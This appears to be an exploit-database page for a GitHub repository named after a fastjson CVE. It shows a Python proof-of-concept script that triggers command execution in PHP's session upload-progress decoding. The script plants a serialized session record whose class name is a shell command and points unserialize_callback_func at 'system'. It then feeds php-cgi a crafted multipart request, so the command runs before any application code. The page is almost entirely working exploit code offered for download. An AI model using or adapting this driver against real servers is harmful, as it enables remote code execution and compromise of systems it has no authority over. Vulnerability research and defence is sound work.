Exploit database

GH-75f23d292ccf5b46630574f41cfd154a

ethen1212/fastjson-cve-2026-16723

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-16723

12 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files21
ethen1212/fastjson-cve-2026-16723Revision f0861f3adba2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

env/driver_cb.py

Python · 3,899 bytes
#!/usr/bin/env python3
"""php2shell reproduction: code execution during the pre-RINIT session decode.

The attacker controls the session record on disk (here we write it directly,
which is what the official regression test does too). The record contains an
object whose class name is attacker chosen. During request startup -- before
any application code runs -- php_session_rfc1867_update() decodes that record.

On the vulnerable build the decode resolves classes and goes through the
autoload machinery, so unserialize_callback_func is invoked with the attacker
chosen class name. Pointing that ini at a command runner turns the class name
into a command line, which is exactly the "PHP -> shell" step.

Usage: driver_cb.py <php-cgi> [--no-ini] [--cb FUNCTION] [--record STR]
"""
import os
import subprocess
import sys

BOUNDARY = "---------------------------20896060251896012921717172737"
SID = "php2shell"

# class name = command line, executed through the callback function
DEFAULT_RECORD = 'pwn|O:29:"id; echo PHP2SHELL-RCE-PROOF > /tmp/php2shell_rce":0:{}'


def main():
    argv = sys.argv[1:]
    flags = {a for a in argv if a.startswith("--")}
    pos = [a for a in argv if not a.startswith("--")]
    php_cgi = pos[0] if pos else "/usr/bin/php-cgi8.4"

    def opt(name, default):
        if name in argv:
            return argv[argv.index(name) + 1]
        return default

    cb = opt("--cb", "system")
    record = opt("--record", DEFAULT_RECORD)

    here = os.path.dirname(os.path.abspath(__file__))
    rundir = os.path.join(here, "run_cb")
    os.makedirs(rundir, exist_ok=True)
    sess_file = os.path.join(rundir, f"sess_{SID}")
    worker = os.path.join(here, "worker_cb.php")

    with open(sess_file, "w") as fh:
        fh.write(record)

    body = (
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{SID}\r\n'
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nkey\r\n'
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="file1"; filename="file1.txt"\r\n\r\n1\r\n'
        f"--{BOUNDARY}--\r\n"
    ).encode()

    ini = {
        "display_errors": "1",
        "html_errors": "0",
        "error_reporting": "E_ALL&~E_DEPRECATED",
        "unserialize_callback_func": cb,
        "file_uploads": "1",
        "upload_max_filesize": "1024",
        "session.save_path": rundir,
        "session.name": "PHPSESSID",
        "session.use_strict_mode": "0",
        "session.use_cookies": "0",
        "session.use_only_cookies": "0",
        "session.cache_limiter": "",
        "session.save_handler": "files",
        "session.serialize_handler": "php",
        "session.upload_progress.enabled": "1",
        "session.upload_progress.cleanup": "0",
        "session.upload_progress.prefix": "upload_progress_",
        "session.upload_progress.name": "PHP_SESSION_UPLOAD_PROGRESS",
        "session.upload_progress.freq": "1%",
        "session.upload_progress.min_freq": "0.000000001",
    }

    cmd = [php_cgi]
    if "--no-ini" in flags:
        cmd.append("-n")
    for k, v in ini.items():
        cmd += ["-d", f"{k}={v}"]
    cmd += ["-f", worker]

    env = dict(os.environ)
    env.update({
        "REDIRECT_STATUS": "1",
        "REQUEST_METHOD": "POST",
        "CONTENT_TYPE": f"multipart/form-data; boundary={BOUNDARY}",
        "CONTENT_LENGTH": str(len(body)),
        "SCRIPT_FILENAME": worker,
        "PATH_TRANSLATED": worker,
        "QUERY_STRING": "",
    })

    proc = subprocess.run(cmd, input=body, capture_output=True, env=env, cwd=rundir)
    print("=== stdout ===")
    print(proc.stdout.decode(errors="replace"))
    if proc.stderr:
        print("=== stderr ===")
        print(proc.stderr.decode(errors="replace"))
    print(f"=== exit code: {proc.returncode} ===")


if __name__ == "__main__":
    main()